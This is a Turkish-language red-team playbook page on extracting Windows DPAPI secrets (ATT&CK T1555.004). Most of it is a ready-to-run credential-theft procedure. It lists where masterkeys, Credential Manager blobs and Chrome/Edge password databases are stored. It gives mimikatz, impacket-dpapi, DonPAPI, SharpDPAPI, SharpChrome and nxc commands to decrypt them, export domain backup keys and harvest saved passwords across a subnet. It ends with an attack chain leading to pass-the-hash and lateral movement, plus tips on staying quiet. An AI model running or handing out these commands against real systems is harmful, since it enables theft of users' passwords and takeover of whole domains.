Skip to content

DPAPI Secret Çıkarma

ATT&CK T1555.004 difficulty: orta

DPAPI (Data Protection API), Windows’ta tarayıcı parolaları, kayıtlı Wi-Fi/RDP kimlikleri, Credential Manager girdileri, Outlook/VPN sırları ve birçok uygulama verisini şifrelemek için kullanılır. Kullanıcı master key’si parola / SHA1 / domain backup key ile korunur; bu yüzden kullanıcı bağlamında veya domain DPAPI backup key ile toplu çözülebilir.

LSASS dump’tan sonra “oturumdaki sırların ötesi” — özellikle Chrome kayıtlı parolalar ve cmdkey ile saklanmış domain admin credential’ları.

%APPDATA%\Microsoft\Protect\<SID>\ → user masterkeys
%LOCALAPPDATA%\Microsoft\Vault\ → Credential Vault
%APPDATA%\Microsoft\Credentials\ → Credential Manager blobs
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Edge\User Data\Default\Login Data
%LOCALAPPDATA%\Microsoft\Protect\ → SYSTEM context (machine)
C:\ProgramData\Microsoft\Protect\ → machine DPAPI
  1. Blob ve masterkey’leri topla — hedef kullanıcı profilinden (veya C$ ile uzaktan kopyala).

  2. Masterkey’i çöz — üç yaygın yol:

    A) Kullanıcı parolası / NT hash biliniyor
    B) Kullanıcı oturumu açık → mimikatz dpapi::cred /rpc veya sekurlsa::dpapi
    C) Domain backup key (DA) → tüm kullanıcı masterkey'leri
    Terminal window
    impacket-dpapi masterkey -file \
    '/path/Protect/SID/GUID' -sid S-1-5-21-...-1111 -password 'UserPass'
    Terminal window
    impacket-dpapi masterkey -file MASTERKEY -sid S-1-5-21-... -hashes :NTHASH
    mimikatz # dpapi::masterkey /in:C:\...\GUID /sid:S-1-5-21-... /password:Pass
    mimikatz # sekurlsa::dpapi
    mimikatz # dpapi::cred /in:C:\Users\...\Credentials\BLOB
  3. Credential / Chrome blob’unu çöz :

    Terminal window
    impacket-dpapi credential -file CRED_BLOB -key <decrypted_masterkey_hex>
    Terminal window
    DonPAPI.py domain/user:pass@10.10.10.0/24
    Terminal window
    DonPAPI.py -hashes :NTHASH domain/user@10.10.10.20

DA/DCSync sonrası backup key tüm domain kullanıcı DPAPI’sini açar:

mimikatz # lsadump::backupkeys /system:dc01.domain.local /export
# veya
mimikatz # privilege::debug
mimikatz # lsadump::backupkeys
Terminal window
impacket-dpapi backupkeys -t dc01.domain.local domain.local/admin:'Pass'
Terminal window
impacket-dpapi masterkey -file MASTERKEY -pvk backup_key.pvk
# Sonra her kullanıcı Protect\SID\* masterkey → credential blob
Terminal window
SharpDPAPI.exe machinekeys
Terminal window
SharpDPAPI.exe triage
Terminal window
SharpDPAPI.exe masterkeys /password:USERPASS
Terminal window
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Roaming\Microsoft\Credentials
Terminal window
SharpChrome.exe logins /unprotect
Terminal window
nxc smb TARGET -u user -H :HASH -M dploot
Terminal window
nxc smb TARGET -u user -H :HASH -M firefox
Terminal window
nxc smb TARGET -u user -H :HASH -M rdp

DPAPI · masterkey

embedded tool
Generated command
impacket-dpapi masterkey -file masterkey -sid S-1-5-21-1-2-3-1001 -password Pass123
Local admin on WS → dump LSASS (bob NT + DPAPI keys)
→ Chrome passwords → vpn_admin parola
→ veya DA ile backupkeys
→ tüm laptop Credential Manager → DA cached cred
→ PtH / lateral
  • Backup key export’u yüksek değerli; tek sefer al, güvenli sakla.
  • DonPAPI geniş subnet taraması gürültülü — Owned host listesine sınırla.
  • Chrome DB kopyalarken tarayıcı process lock → kopya shadow veya copy busy retry.
  • SYSTEM DPAPI (scheduled task / servis sırları) ile user DPAPI’yi karıştırma; SID / context doğru olsun.
  • Yanlış SID ile masterkey çözmeye çalışmak.
  • Domain user’da sadece parola denemek — çoğu zaman SHA1(pre-win10) / domain PK gerekir; backup key kolaylaştırır.
  • Login Data SQL — key’i Local State’ten (AES) çözmek Chrome v80+ için ekstra adım; SharpChrome/DonPAPI bunu otomatikleştirir.
  • Machine key ile user blob çözmeye çalışmak.

LSASS Dumping · Pass-the-Hash · DCSync (backup key için)